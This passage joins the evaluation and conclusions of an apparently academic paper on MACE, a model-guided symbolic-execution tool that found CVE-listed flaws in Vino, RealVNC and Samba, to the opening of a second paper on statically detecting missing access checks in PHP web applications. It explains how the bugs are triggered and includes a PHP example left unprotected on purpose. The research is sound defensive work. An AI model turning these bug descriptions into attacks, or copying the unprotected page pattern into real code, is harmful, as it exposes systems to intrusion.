prefix of the response to t. Before adding an input-output

sequence pair to the cache, we check that all the prefixes

are consistent with the newly added pair, and report a

warning if they are inconsistent.

After each inference iteration, we analyze the state

machine to find redundant messages (Definition 2) and

discard them. This is a simple, but effective, optimiza-

tion that reduces the load on the subsequent MACE it-

erations. This optimization is especially important for

inferring the initial state machine from the seed inputs.

5.3 State-Space Exploration

Our implementation of the state-space exploration con-

sists of two components: a shortest transfer sequence

generator and the state-space explorer. A shortest trans-

fer sequence generator is implemented through a simple

modification of the L∗ algorithm. The algorithm main-

tains a data structure (called observation table [1]) that

contains a set of shortest transfer sequences, one for each

inferred state. We modify the algorithm to output this

set together with the final model. MACE uses sequences

from the set to launch and initialize state-space explorers.

Our state-space explorer uses a combination of dy-

namic and symbolic execution [17, 25, 8, 7]. The imple-

mentation consists of a system emulator, an input gener-

ator, and a priority queue. The system emulator collects

execution traces of the analyzed program with respect

to given concrete inputs. Given a collected trace, the

input generator performs symbolic execution along the

traced path, computes the path-condition, modifies the

path condition by negating predicates, and uses a deci-

sion procedure to solve the modified path condition and

to generate new inputs that explore different execution

paths. The generated inputs are then provided back to the

system emulator and the exploration continues. We use

the priority queue, like [18], to prioritize concrete traces

that are used for symbolic execution. The traces that visit

a larger number of new basic blocks, unexplored by the

prior traces, have higher priority.
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The system emulator provides the capability to save

and restore program snapshots. To perform model-

assisted exploration from a desired state in the model,

we first set the program state to the snapshot of the ini-

tial state. Then, we drive the program to the desired state

using the corresponding shortest transfer sequence, and

start dynamic symbolic execution from that state.

In all our experiments, we used the snapshot capability

to skip the server boot process. More precisely, we boot

the server, make a snapshot, and run all the experiments

on the snapshot. We do not report the code executed dur-

ing the boot in the line coverage results.

6 Evaluation

To evaluate MACE, we infer server-side models of two

widely-deployed network protocols: Remote Frame-

buffer (RFB) and Server Message Block (SMB). The

RFB protocol is widely used in remote desktop appli-

cations, including GNOME Vino and RealVNC. Mi-

crosoft’s SMB protocol provides file and printer shar-

ing between Windows clients and servers. Although the

SMB protocol is proprietary, it was reverse-engineered

and re-implemented as an open-source system, called

Samba. Samba allows interoperability between Win-

dows and Unix/Linux-based systems. In our experi-

ments, we use Vino 2.26.1 and Samba 3.3.4 as reference

implementations to infer the protocol models of RFB and

SMB respectively. We discuss the result of our model in-

ference in Section 6.2.

Once we infer the protocol model from one reference

implementation, we can use it to guide state-space ex-

ploration of other implementations of the same proto-

col. Using this approach, we analyze RealVNC 4.1.2

and Windows XP SMB, without re-inferring the proto-

col state machine.

MACE found a number of critical vulnerabilities,

which we discuss in Section 6.3. In Section 6.4, we eval-

uate the effectiveness of MACE, by comparing it to the

baseline state-space exploration component of MACE

without guidance.

6.1 Experimental Setup

For our state-space exploration experiments, we used the

DETER Security testbed [4] comprised of 3GHz Intel

Xeon processors. For running L∗ and the message fil-

tering, we used a few slower 2.27GHz Intel Xeon ma-

Vino is the default remote desktop application in GNOME

distributions; RealVNC reports over 100 million downloads

(http://www.realvnc.com).

Program Iter. |Q| |ΣI | |ΣO| Tot. Learning

(Protocol) Time (min)

Vino 1st 7 8 7 142

(RFB) 2nd 7 12 8 8

Samba 1st 40 40 14 2028

(SMB) 2nd 84 54 24 1840

3rd 84 55 25 307

Table 1: Model Inference Result at the End of Each Iter-

ation. The second column identifies the inference itera-

tion. The Q column denotes the number of states in the

inferred model. The ΣI (resp. ΣO) column denotes the

size of the input (resp. output) alphabet. The last column

gives the total time (sum of all parallel jobs together) re-

quired for learning the model in each iteration, including

the message filtering time. The learning process is incre-

mental, so later iterations can take less time, as the older

conjecture might need a small amount of refinement.

chines. When comparing MACE against the baseline ap-

proach, we sum the inference and the state-space explo-

ration time taken by MACE, and compare it to running

the baseline approach for the same amount of time. This

setup gives a slight advantage to the baseline approach

because inference was done on slower machines, but our

experiments still show MACE is significantly superior,

in terms of achieved coverage, found vulnerabilities and

exploration depth.

6.2 Model Inference and Refinement

We used MACE to iteratively infer and refine the pro-

tocol models of RFB and SMB, using Vino 2.26.1 and

Samba 3.3.4 as reference implementations respectively.

Table 1 shows the results of iterative model inference and

refinement on Vino and Samba.

As discussed in Section 4.2, once MACE terminates,

we check the final inferred model with sampling queries.

We used 1000 random sampling queries composed of 40

input messages each, and tried to refine the state machine

beyond what MACE inferred. The sampling did not dis-

cover any new state in any experiment we performed.

Vino. For Vino, we collected a 45-second network

trace of a remote desktop session, using krdc (KDE Re-

mote Desktop Connection) as the client. During this ses-

sion, the Vino server received a total of 659 incoming

packets, which were considered as seed messages. For

abstracting the output messages, we used the message

type and the encoding type of the outbound packets from

the server. MACE inferred the initial model consisting of

seven states, and filtered out all but 8 input and 7 output
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(a) Original Vino’s RFB Model Based on Observed Live Traffic.
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(b) Final Vino’s RFB Model Inferred by MACE.

Figure 3: Model Inference of Vino’s RFB protocol. States in which MACE discovers vulnerabilities are shown in grey.

The edge labels show the list of input messages and the corresponding output message separated by the ‘/’ symbol.

The explanations of the state and input and output message encodings are in Figure 4.

messages, as shown in Figure 3a.

Using the initial inferred RFB protocol model, the

state-space explorer component of MACE discovered 4

new input messages and refined the model with new

edges without adding new states (Figure 3b). We manu-

ally inspected the newly discovered output message (la-

bel R6 in Figure 3b) and found that it represents an out-

going message type not seen in the initial model.

Since MACE found no new states that could be ex-

plored with the state-space explorer, the process termi-

nated. Through manual comparison with the RFB pro-

tocol specification, we found that MACE has discovered

all the input messages and all the states, except the states

related to authentication and encryption, both of which

we disabled in our experiments. Further, MACE found

all the responses to client’s queries.

We also performed an experiment with authentication

enabled (encryption was still disabled). With this con-

figuration, MACE discovered only three states, because

it was not able to get past the checksum used during au-

thentication, but discovered an infinite loop vulnerability

that can be exploited for denial-of-service attacks. Due

to space limits, we do not report the detailed results from

this experiment, only detail the vulnerability found.

Samba. For Samba, we collected a network trace

of multiple SMB sessions, using Samba’s gentest test

There are two other output message types that are triggered by the

server’s GUI events and thus are outside of our scope.

suite, which generates random SMB operations for test-

ing SMB servers. We used the default gentest configu-

ration, with the default random number generator seeds.

To abstract the outbound messages from the server, we

used the SMB message type and status code fields; er-

ror messages were abstracted into a single error message

type. The Samba server received a total of 115 input mes-

sages, from which MACE inferred an initial SMB model

with 40 states, with 40 input and 14 output messages (af-

ter filtering out redundant messages).

In the second iteration, MACE discovered 14 new in-

put and 10 new output messages and refined the initial

model from 40 states to 84 states. The model converged

in the third iteration after adding a new input and a new

output message without adding new states. Table 1 sum-

marizes all three inference rounds.

Manually analyzing the inferred state machine, we

found that some of the discovered input messages have

the same type, but different parameters, and therefore

have different effects on the server (and different roles

in the protocol). MACE discovered all the 67 message

types used in Samba, but the concrete messages gener-

ated by the decision procedure during the state-space ex-

ploration phase often had invalid message parameters, so

the server would simply respond with an error. Such re-

sponses do not refine the model and are filtered out dur-

ing model inference. In total, MACE was successful at

http://samba.org/∼tridge/samba testing/
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Label Description

1 client’s protocol version

2 byte 0x01 (securityType=None, clientInit)

3 setPixelFormat message

4 setEncodings message

5 frameBufferUpdateRequest message

6 keyEvent message

7 pointer event message

8 clientCutText message

9 byte 0x22

10 malformed client’s protocol version

11 frameBufferUpdateRequest message with

bpp=8 and true-color=false

12 malformed client’s protocol version

(a) Input Legend.

Label Description

R1 server’s protocol version

R2 server’s supported security types

R3 serverInit message

R4 framebufferUpdate message with default en-

coding

R5 framebufferUpdate message with alternative

encoding

R6 setColourMapEntries message

N no explicit reply from server

T socket closed by server

(b) Output Legend.

Figure 4: Explanation of States and Input/Output Messages of the State Machine from Figure 3.

pairing message types with parameters for 23 (out of 67)

message types, which is an improvement of 10 message

types over the test suite, which exercises only 13 differ-

ent message types.

We identified several causes of incompleteness in mes-

sage discovery. First, message validity is configuration

dependent. For example, the spoolopen, spoolwrite,

spoolclose and spoolreturnqueue message types

need an attached printer to be deemed valid. Our experi-

mental setup did not emulate the complete environment,

precluding us from discovering some message types.

Second, a single echomessage type generated by MACE

induced the server to behave inconsistently and we dis-

carded it due to our determinism requirement. Although

this is likely a bug in Samba, this behavior is not reliably

reproducible. We exclude this potential bug from the vul-

nerability reports that we provide later. Third, our infras-

tructure is unable to analyze the system calls and other

code executed in the kernel space. In effect, the com-

puted symbolic constraints are underconstrained. Thus,

some corner-cases, like a specific combination of the

message type and parameter (e.g., a specific file name),

might be difficult to generate. This is a general problem

when the symbolic formula computed by symbolic exe-

cution is underconstrainted.

In our experiments, we used Samba’s default configu-

ration, in which encryption is disabled. The SMB proto-

col allows null-authentication sessions with empty pass-

word, similar to anonymous FTP. Thus, authentication

posed no problems for MACE.

MACE converged relatively quickly in both Vino and

Samba experiments (in three iterations or less). We at-

tribute this mainly to the granularity of abstraction. A

finer-grained model would require more rounds to infer.

The granularity of abstraction is determined by the out-

put abstraction function, (Section 3.1).

6.3 Discovered Vulnerabilities

We use the inferred models to guide the state-space ex-

ploration of implementations of the inferred protocol.

After each inference iteration, we count the number of

newly discovered states, generate shortest transfer se-

quences (Section 3.3) for those states, initialize the server

with a shortest transfer sequence to the desired (newly

discovered) state, and then run 2.5 hours of state-space

exploration in parallel for each newly discovered state.

The input messages discovered during those 2.5 hours

of state-space exploration per state are then filtered and

used for refining the model (Section 4.4). For the base-

line dynamic symbolic execution without model guid-

ance, we run |Q| parallel jobs with different random

seeds for each job for 15 hours, where |Q| is the num-

ber of states in the final converged model inferred for the

target protocol. Different random seeds are important,

as they assure that each baseline job explores different

trajectories within the program.

We rely upon the operating system runtime error de-

tection to detect vulnerabilities, but other detectors, like

Valgrind, could be used as well. Once MACE detects

a vulnerability, it generates an input sequence required

for reproducing the problem. When analyzing Linux ap-

plications, MACE reports a vulnerability when any of the

critical exceptions (SIGILL, SIGTRAP, SIGBUS, SIGFPE,

and SIGSEGV) is detected. For Windows programs,

http://valgrind.org/
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a vulnerability is found when MACE traps a call to

ntdll.dll::KiUserExceptionDispatcher and the

value of the first function argument represents one of the

critical exception codes.

MACE found a total of seven vulnerabilities in Vino

2.26.1, RealVNC 4.1.2, and Samba 3.3.4, within 2.5

hours of state-space exploration per state. In compar-

ison, the baseline dynamic symbolic execution without

model-guidance, found only one of those vulnerabilities

(the least critical one), even when given the equivalent

of 15 hours per state. Four of the vulnerabilities MACE

found are new and also present in the latest version of the

software at the time of writing. The list of vulnerabilities

is shown in Table 2. The rest of this section provides a

brief description of each vulnerability.

Vino. MACE found three vulnerabilities in Vino; all

of them are new. The first one (CVE-2011-0904) is

an out-of-bounds read from arbitrary memory locations.

When a certain type of the RFB message is received,

the Vino server parses the message and later uses two

of the message value fields to compute an unsanitized

array index to read from. A remote attacker can craft

a malicious RFB message with a very large value for

one of the fields and exploit a target host running Vino.

The Gnome project labeled this vulnerability with the

“Blocker” severity (bug 641802), which is the highest

severity in their ranking system, meaning that it must

be fixed in the next release. MACE found this vulner-

ability after 122 minutes of exploration per state, in the

first iteration (when the inferred state machine has seven

states, Table 1). The second vulnerability (CVE-2011-

0905) is an out-of-bounds read due to a similar usage

of unsanitized array indices; the Gnome project labeled

this vulnerability (bug 641803) as “Critical”, the second

highest problem severity. This vulnerability is marked

as a duplicate of CVE-2011-0904, for it can be fixed by

patching the same point in the code. However, these two

vulnerabilities are reached through different paths in the

finite-state machine model and the out-of-bounds read

happens in different functions. These two vulnerabilities

are actually located in a library used by not only Vino,

but also a few other programs. According to Debian se-

curity tracker, kdenetwork 4:3.5.10-2 is also vulnerable.

The third vulnerability (CVE-2011-0906) is an infinite

loop, found in the configuration with authentication en-

abled. The problem appears when the Vino server re-

ceives an authentication input from the client larger than

the authentication checksum length that it expects. When

the authentication fails, the server closes the client con-

nection, but leaves the remaining data in the input buffer

http://security-tracker.debian.org/tracker/CVE-2011-0904

queue. It also enters an deferred-authentication state

where all subsequent data from the client is ignored. This

causes an infinite loop where the server keeps receiv-

ing callbacks to process inputs that it does not process

in deferred-authentication state. The server gets stuck in

the infinite loop and stops responding, so we classify this

vulnerability as a denial-of-service vulnerability. Unlike

all other discovered vulnerabilities, we discovered this

one when L∗ hanged, rather than by catching signals or

trapping the exception dispatcher. Currently, we have no

way of detecting this vulnerability with the baseline, so

we do not report the baseline results for CVE-2011-0906.

Samba. MACE found 3 vulnerabilities in Samba. The

first two vulnerabilities have been previously reported

and are fixed in the latest version of Samba. One of

them (CVE-2010-1642) is an out-of-bounds read caused

by the usage of an unsanitized Security Blob Length

field in SMB’s Session Setup AndX message. The other

(CVE-2010-2063) is caused by the usage of an unsani-

tized field in the “Extra byte parameters” part of an SMB

Logoff AndX message. The third one is a null pointer

dereference caused by an unsanitized Byte Count field

in the Session Setup AndX request message of the SMB

protocol. To the best of our knowledge, this vulnerability

has never been publicly reported but has been fixed in the

latest release of Samba. We did not know about any of

these vulnerabilities prior to our experiments.

RealVNC. MACE found a new critical out-of-bounds

write vulnerability in RealVNC. One type of the RFB

message processed by RealVNC contains a length field.

The RealVNC server parses the message and uses the

length field as an index to access the process memory

without performing any sanitization, causing an out-of-

bounds write.

Win XP SMB. The implementation of Win SMB is

partially embedded into the kernel, and currently our dy-

namic symbolic execution system does not handle the

kernel operating system mode. Thus, we were able to

explore only the user-space components that participate

in handling SMB requests. Further, we found that many

involved components seem to serve multiple purposes,

not only handling SMB requests, which makes their ex-

ploration more difficult. We found no vulnerabilities in

Win XP SMB.

6.4 Comparison with the Baseline

We ran several experiments to illustrate the improvement

of MACE over the baseline dynamic symbolic execution

approach. First, we measured the instruction coverage

of MACE on the analyzed programs and compared it
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Program Vulnerability Type Disclosure ID Iter. Jobs Search Time

( |Q| ) MACE Baseline

per job total per job total

(min) (hrs) (min) (hrs)

Vino Wild read (blocker) CVE-2011-0904 1/2 7 122 15 >900 >105

Out-of-bounds read CVE-2011-0905 1/2 7 31 4 >900 >105

Infinite loop CVE-2011-0906† 1/2 7 1 1 N/A N/A

Samba Buffer overflow CVE-2010-2063 1/3 84 88 124 >900 >1260

Out-of-bounds read CVE-2010-1642 1/3 84 10 14 >900 >1260

Null-ptr dereference Fixed w/o CVE 1/3 84 8 12 430 602

RealVNC Out-of-bounds write CVE-2011-0907 1/1 7 17 2 >900 >105

Win XP SMB None None None 84 >150 >210 >900 >105

Table 2: Description of the Found Vulnerabilities. The upper half of the table (Vino and Samba) contains results for the reference

implementations from which the protocol model was inferred, while the bottom half (Real VNC and Win XP SMB) contains the

results for the other implementations that were explored using the inferred model (from Vino and Samba). The disclosure column

lists Common Vulnerabilities and Exposures (CVE) numbers assigned to vulnerabilities MACE found. The new vulnerabilities

are italicized. The † symbol denotes a vulnerability that could not have been detected by the baseline approach, because it lacks

a detector that would register non-termination. We found it with MACE, because it caused L∗ to hang. The “Iter.” column lists

the iteration in which the vulnerability was found and the total number of iterations. The “Jobs” column contains the total number

of parallel state-space exploration jobs. The number of jobs is equal to the number of states in the final converged inferred state

machine. The baseline experiment was done with the same number of jobs running in parallel as the MACE experiment. The

MACE column shows how much time passed before at least one parallel state-space exploration job reported the vulnerability and

the total runtime (number of jobs × time to the first report) of all the jobs up to that point. The “Baseline” column shows runtimes

for the baseline dynamic symbolic execution without model guidance. We set the timeout for the MACE experiment to 2.5 hours

per job. The baseline approach found only one vulnerability, even when allowed to run for 15 hours (per job). The > t entries mean

that the vulnerability was not found within time t.

Program Sequential Instruction Coverage Total crashes

(Protocol) Time (Unique crashes)

(min) Baseline MACE improvement Baseline MACE

Vino (RFB) 1200 129762 138232 6.53% 0 (0) 2 (2)

Samba (SMB) 16775 66693 105946 58.86% 20 (1) 21 (5)

RealVNC (RFB) 1200 39300 47557 21.01% 0 (0) 7 (2)

Win XP (SMB)† 16775 90431 112820 24.76% 0 (0) 0 (0)

Table 3: Instruction Coverage Results. The table shows the instruction coverage (number of unique executed instruction addresses)

of MACE after 2.5 hours of exploration per state in the final converged inferred state machine, and the baseline dynamic symbolic

execution given the amount of time equivalent to (time MACE required for inferring the final state machine + number of states in

the final state machine × 2.5 hours), shown in the second column. For example, from Table 1, we can see that Samba inference

took the total of 2028 + 1840 + 307 = 4175 minutes and produced an 84-state model. Thus, the baseline approach was given

84× 150+ 4175 = 16775 minutes to run. The last two columns show the total number of crashes each approach found, and the

number of unique crashes according to the location of the crash in parenthesis. Due to a limitation of our implementation of the

state-space exploration (user-mode only), the baseline result for Windows XP SMB (marked †) was so abysmal, that comparing to

the baseline would be unfair. Thus, we compute the Win XP SMB baseline coverage by running Samba’s gentest test suite.
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against the baseline coverage. Second, we compared the

number of crashes detected by MACE and by the base-

line approach over the same amount of time. This num-

ber provides an indication of how diverse the execution

paths discovered by each approach are: more crashes im-

plies more diverse searched paths. Finally, we compared

the effectiveness of MACE and the baseline approach to

reach deep states in the final inferred model.

Instruction Coverage. In this experiment, we mea-

sured the numbers of unique instruction addresses (i.e.,

EIP values) of the program binary and its libraries cov-

ered by MACE and the baseline approach. These num-

bers show how effective the approaches are at uncov-

ering new code regions in the analyzed program. For

Vino, RealVNC, and Samba, we used dynamic symbolic

execution as the baseline approach and ran the experi-

ment using the setup outlined in Section 6.1. We ran

MACE allowing 2.5 hours of state-space exploration per

each inferred state. To provide a fair comparison, we

ran the baseline for the amount of time that is equal to

the sum of the MACE’s inference and state-space explo-

ration times. As shown in Table 3, our result illustrates

that MACE provides a significant improvement in the in-

struction coverage over dynamic symbolic execution.

As mentioned before, our tool currently works on user-

space programs only. Because Windows SMB is mostly

implemented as a part of the Windows kernel, the results

of the baseline approach were abysmal. To avoid a straw

man comparison, we chose to compare against Samba’s

gentest test suite, regularly used by Samba developers

to test the SMB protocol. Using the test suite, we gen-

erate test sequences and measure the obtained coverage.

As for other experiments, we allocated the same amount

of time to both the test suite and MACE. The experimen-

tal results clearly show MACE’s ability to augment test

suites manually written by developers.

Number of Detected Crashes. Using the same setup

as in the previous experiment, we measured the num-

ber of crashing input sequences generated by each ap-

proach. We report the number of crashes and the num-

ber of unique crash locations. From each category of

unique crash locations, we manually processed the first

four reported crashes. All the found vulnerabilities (Ta-

ble 2) were found by processing the very first crash in

each category. All the later crashes we processed were

just variants of the first reported crash. MACE found 30

crashing input sequences with 9 of them having unique

crash locations (the EIP of the crashed instruction). In

comparison, the baseline approach only found 20 crash-

ing input sequences, all of them having the same crash

location.
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Figure 5: SMB Exploration Depth. The inferred state

machine can be seen as a directed graph. Suppose we

compute a spanning tree (e.g., [13]) of that graph. The

root of the graph is at level zero. Its children are at level

one, and so on. The figure shows the percentage of states

visited at each level by MACE and the baseline approach.

The numbers above points show the number of visited

states at the given depth. The shaded area clearly shows

that MACE is superior to the baseline approach in reach-

ing deep states of the inferred protocol.

Exploration Depth. Using the same setup as for the

coverage experiment, we measured how effective each

approach is in reaching deep states. The inferred state

machine can be seen as a directed graph. Suppose we

compute a spanning tree (e.g., [13]) of that graph. The

root of the graph is at level zero. Its children are at

level one, and so on. We measured the percentage of

states reached at every level. Figure 5 clearly shows that

MACE is superior to the baseline approach in reaching

deep states in the inferred protocol.

7 Limitations

Completeness is a problem for any dynamic analysis

technique. Accordingly, MACE cannot guarantee that

all the protocol states will be discovered. Incomplete-

ness stems from the following: (1) each state-space ex-

plorer instance runs for a bounded amount of time and

some inputs may simply not be discovered before the

timeout, (2) among multiple shortest transfer sequences

to the same abstract state, MACE picks one, potentially

missing further exploration of alternative paths, (3) sim-

ilarly, among multiple concrete input messages with the

same abstract behavior, MACE picks one and considers

the rest redundant (Definition 2).

Our approach to model inference and refinement is

not entirely automatic: the end users need to provide an

abstraction function that abstracts concrete output mes-

sages into an abstract alphabet. Coming up with a good
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output abstraction function can be a difficult task. If the

provided abstraction is too fine-grained, model inference

may be too expensive to compute or may not even con-

verge. On the other hand, the inferred model may fail to

distinguish two interesting states if the abstraction is too

coarse-grained. Nevertheless, our approach provides an

important improvement over our prior work [11], which

requires abstraction functions for both input and output

messages.

When using our approach to learn a model of a pro-

prietary protocol, a certain level of protocol reverse-

engineering is required prior to running MACE. First, we

need a basic level of understanding of the protocol inter-

face to be able to correctly replay input messages to the

analyzed program. For example, this may require over-

writing the cookie or session-id field of input messages

so that the sequence appears indistinguishable from real

inputs to the target program. Second, our approach re-

quires an appropriate output abstraction, which in turn

requires understanding of the output message formats.

Message format reverse-engineering is an active area of

research [14, 15, 6] out of the scope of this paper.

Encryption is a difficult problem for every (existing)

protocol inference technique. To circumvent the issue,

we configure the analyzed programs not to use encryp-

tion. However, for proprietary protocols, such a con-

figuration may not be available and techniques [5, 29]

that automatically reverse-engineer message encryption

are required.
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9 Conclusions and Future Work

We have proposed MACE, a new approach to software

state-space exploration. MACE iteratively infers and re-

fines an abstract model of the protocol, as implemented

by the program, and exploits the model to explore the

program’s state-space more effectively. By applying

MACE to four server applications, we show that MACE

(1) improves coverage up to 58.86%, (2) discovers sig-

nificantly more vulnerabilities (seven vs. one), and (3)

performs significantly deeper search than the baseline

approach.

We believe that further research is needed along sev-

eral directions. First, a deeper analysis of the correspon-

dence of the inferred finite state models to the structure

and state-space of the analyzed application could reveal

how models could be used even more effectively than

what we propose in this paper. Second, it is an open

question whether one could design effective automatic

abstractions of the concrete input messages. The filter-

ing function we propose in this paper is clearly effective,

but might drop important messages. Third, the finite-

state models might not be expressive enough for all types

of applications. For example, subsequential transducers

[28] might be the next, slightly more expressive, repre-

sentation that would enable us to model protocols more

precisely, without significantly increasing the inference

cost. Fourth, MACE currently does no white box analy-

sis, besides dynamic symbolic execution for discovering

new concrete input messages. MACE could also monitor

the value of program variables, consider them as the in-

put and the output of the analyzed program, and automat-

ically learn the high-level model of the program’s state-

space. This extension would allow us to apply MACE to

more general classes of programs.
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Abstract
Access control vulnerabilities, which cause privilege es-
calations, are among the most dangerous vulnerabilities
in web applications. Unfortunately, due to the difficulty
in designing and implementing perfect access checks,
web applications often fall victim to access control at-
tacks. In contrast to traditional injection flaws, access
control vulnerabilities are application-specific, rendering
it challenging to obtain precise specifications for static
and runtime enforcement. On one hand, writing specifi-
cations manually is tedious and time-consuming, which
leads to non-existent, incomplete or erroneous specifica-
tions. On the other hand, automatic probabilistic-based
specification inference is imprecise and computationally
expensive in general.

This paper describes the first static analysis that au-
tomatically detects access control vulnerabilities in web
applications. The core of the analysis is a technique that
statically infers and enforces implicit access control as-
sumptions. Our insight is that source code implicitly doc-
uments intended accesses of each role and any successful
forced browsing to a privileged page is likely a vulner-
ability. Based on this observation, our static analysis
constructs sitemaps for different roles in a web applica-
tion, compares per-role sitemaps to find privileged pages,
and checks whether forced browsing is successful for
each privileged page. We implemented our analysis and
evaluated our tool on several real-world web applications.
The evaluation results show that our tool is scalable and
detects both known and new access control vulnerabilities
with few false positives.

1 Introduction
Web applications often restrict privileged accesses to au-
thorized users. While bringing the convenience of ac-
cessing a large amount of information and operations
from anywhere into people’s daily lives, web applications
have opened a new door for attacks and the number of
web-based attacks is on the rise. A Symantec Internet

security threat report published in April 2011 points out
that the volume of web-based attacks in 2010 increased
by 93% over the volume observed in 20091. Researchers
of web security have focused their attention on injection
vulnerability, which is the most common vulnerability in
web applications. Although not as prevalent as injection
vulnerability, access control vulnerability poses a more se-
rious threat because of exposed privileges, and has started
attracting the attention of researchers [7]. Compared with
those in traditional software, access checks in web ap-
plications are harder to get right because of the stateless
nature of the HTTP protocol. In traditional software, once
a user has passed an authentication check, the system
remembers the identity of the user until she logs out or
a timeout event happens. This is not the case for web
applications, which must parse each new HTTP request
to identify a previously logged-in user. A statistics re-
port published in 2007 states that 14.15% of the surveyed
web applications suffer from vulnerabilities of insufficient
authorization2.

Traditional injection vulnerabilities such as Cross-Site
Scripting (XSS) and SQL injection are not application-
specific and have a clear and general definition [25]: an in-
jection vulnerability exists when an untrusted input flows
into a sensitive sink without proper sanitization. To detect
injection vulnerabilities, it is sufficient to analyze indi-
vidual pages separately to examine where untrusted user
inputs can flow. In contrast, access control vulnerabilities
are application-specific, and it is necessary to examine
connections between pages.

Web application developers frequently make implicit
assumptions of allowed accesses and protect privileged
pages by hiding links to these pages from unauthorized
users. However, security by obscurity is insufficient to
prevent a determined and skilled attacker from accessing
these pages, viewing sensitive data or performing dan-
gerous operations. As an example, Business Wire used a

1http://www.symantec.com/business/threatreport
2http://projects.webappsec.org/f/wasc wass 2007.pdf
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web server to store files of important trade information,
which were supposed to be accessible to registered mem-
bers only. Although the URLs to these files were hidden
in the presentation layer from unauthorized users, the
date-based URLs were highly predictable. By simply ac-
cessing these privileged files, an investment bank Lõhmus
Haavel & Viisemann profited over eight million dollars
based on the disclosed trade information3. Similarly, in
November 2010, Blooming News obtained and published
valuable financial earnings data of Disney and NetApp
to its subscribers hours before official data releases by
predicting resource locations inside secure corporate net-
works. As yet another example, accesses to the videos
of USENIX conference presentations are restricted to
USENIX members for a short period after a conference.
However, the authors of this paper were able to predict
the author-name-based URLs of the videos and download
a few videos as public users.

Researchers have proposed various static and dynamic
analysis techniques [1, 7, 10, 13] to detect violations of
application logic, including access control attacks. Unfor-
tunately, these techniques have limited effectiveness on
detecting access control vulnerabilities. Dynamic analy-
ses have difficulty finding hidden pages and determining
intended accesses for each role. Furthermore, sitemaps
covered by dynamic executions tend to be shallow and
incomplete as user inputs are usually limited. Despite that
static analyses typically have better coverage, they often
require good specifications in order to generate useful
reports, whose false positives do not overwhelm users.
In practice, deriving precise specifications is challenging,
especially when diverse authentication and access control
management schemes are in use. As manually writing
specifications is time-consuming and probabilistic-based
inference is error-prone, it is desirable to precisely in-
fer implicit assumptions on intended accesses from the
source code of applications.

In this paper, we use role to represent a unique set
of privileges that a group of users has. Most web ap-
plications have at least three types of roles: the role for
administrators, the role for normal logged-in users and
the role for public or anonymous users. Access control
checks must be performed before granting access to any
privileged resource to prevent privilege escalation attacks.
When implicit assumptions are not matched by explicit
access checks, unauthorized accesses are possible.

We propose the first role-based static analysis to detect
access control vulnerabilities with automatic inference on
implicit access control assumptions. Our key observations
are that each role represents a unique set of privileges, and
intended accesses for each role are reflected in explicit
links shown in the presentation layer of an application.
Guided by these observations, our analysis automatically

3http://www.whitehatsec.com/home/assets/WP bizlogic092407.pdf

derives specifications on privileged accesses by compar-
ing explicit links presented to different roles. It then
directly accesses privileged pages for unprivileged roles,
and examines whether these accesses are allowed to de-
tect vulnerable pages which have missing or insufficient
access checks. Our main contributions are:

• A formal definition of access control vulnerabilities
in web applications.

• The first role-based static analysis which automat-
ically detects access control vulnerabilities in web
applications with minimal manual efforts.

• An implementation of our analysis which constructs
intended per-role sitemaps. Given role-based speci-
fications, our prototype can systematically explore
feasible execution paths based on the satisfiability of
constraints.

• An evaluation of our tool on real-world web appli-
cations. Our tool works on unmodified code, and
is able to detect both new and known vulnerabili-
ties before the deployment of web applications. The
evaluation results show that our approach is scalable
and effective, with few false positives.

The rest of the paper is organized as follows. We first
use an example to illustrate the main steps of our ap-
proach (Section 2) and then present our formalization
of access control vulnerability in web applications (Sec-
tion 3). Section 4 describes our detailed algorithms. Sec-
tion 5 presents the implementation details of our static
analyzer, and Section 6 shows the effectiveness, coverage
and performance of our analyzer on real-world web appli-
cations. Finally, we survey related work (Section 7) and
conclude (Section 8).

2 Illustrative Example
Figure 1 shows a simple web application based on one
of the real-world web applications in our test suite. For
illustration, suppose that the application has two roles:
role a for administrators and role b for normal users. In
our approach, we require developers to only specify ap-
plication entry points and role-based application states,
which serve as the basis for automatically inferring the set
of privileged pages. Suppose that in the given specifica-
tions, the entry sets for both roles are identical and contain
only “index.php”, and the value of $ SESSION[“admin”]
is specified as true for role a but false for role b. As
we can see from the source code, only “functions.php”
checks accesses. This file is included via PHP inclu-
sion in both “index.php” and “user delete.php”, but not
“user add.php.” Consequently, access checks are missing
in “user add.php” but present in the other three pages.
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  <?php
  session_start();
  if (!$_SESSION[“admin”]) {
      die(“Access denied!”);
  }
  ...
  ?>

functions.php

  <?php
  include(“functions.php”);
  delete_user();
  ...
  ?>

user_delete.php   <?php
  include(“functions.php”);
  $add = “user_add.php”;
  $del = “user_delete.php”;
  echo “<a href=” . $add . “>Add User</a>”;
  echo “<a href=” . $del . “>Delete User</a>”;
  ...
  ?>

index.php

  <?php
  add_user();
  ...
  ?>

user_add.php

ba ,

aa

a

Figure 1: An Example of Access Control Vulnerability. Solid arrows represent explicit links, and dashed arrows
represent inclusion relationship between pages. Arrows correspond to edges in sitemaps and are labeled with
roles. The intended sitemap for privileged role a has four edges while the intended sitemap for role b has only
one edge.

The first step of our analysis constructs per-role
sitemaps with a worklist-based algorithm. Initially, work-
lists for both roles are [“index.php”]. While a worklist is
not empty, our analysis pops a work node from the front
of the worklist each time. Let us look at the sitemap
construction for role a first. The first analyzed node
is “index.php”. From this node, users of role a can ex-
plicitly reach both “user add.php” and “user delete.php”
via anchor tags, and “functions.php” via a file inclusion.
Thus, our analysis adds three new edges in the sitemap
and appends the newly discovered nodes to the worklist,
which is now [“user add.php”, “user delete.php”, “func-
tions.php”]. The second analyzed node is “user add.php”.
This node can not reach any nodes, and thus our anal-
ysis pops “user delete.php” and the worklist becomes
[“functions.php”]. Role a can reach “functions.php” from
“user delete.php”, and thus our analysis adds a new edge
in the sitemap. Because “functions.php” is already in
the worklist, it is not appended to the current worklist.
Finally, our analysis pops “functions.php”. This node can
not reach any nodes and our analysis stops because the
worklist is now empty. Now let us look at the sitemap
construction for role b. The first popped node is still
“index.php”. However, role b can only explicitly reach
“functions.php” via a file inclusion from this node. The
links to “user delete.php” and “user add.php” are hidden
from users of role b in “index.php” via the access check
in “functions.php”. Therefore, our analysis adds only one
new edge and stops because the worklist is now empty.
The edges of constructed per-role sitemaps are shown in
Figure 1.

The second step of our analysis infers the set of

privileged pages and attempts to access these pages di-
rectly to detect access control vulnerabilities. Com-
paring the sets of explicitly reachable nodes for role a
and role b, our analysis infers that “user add.php” and
“user delete.php” are privileged pages intended for users
of role a only. Consequently, these two pages should
have access checks to ward off users of role b. Un-
fortunately, only “user delete.php” is safeguarded and
“user add.php” is left unprotected. Therefore, a direct ac-
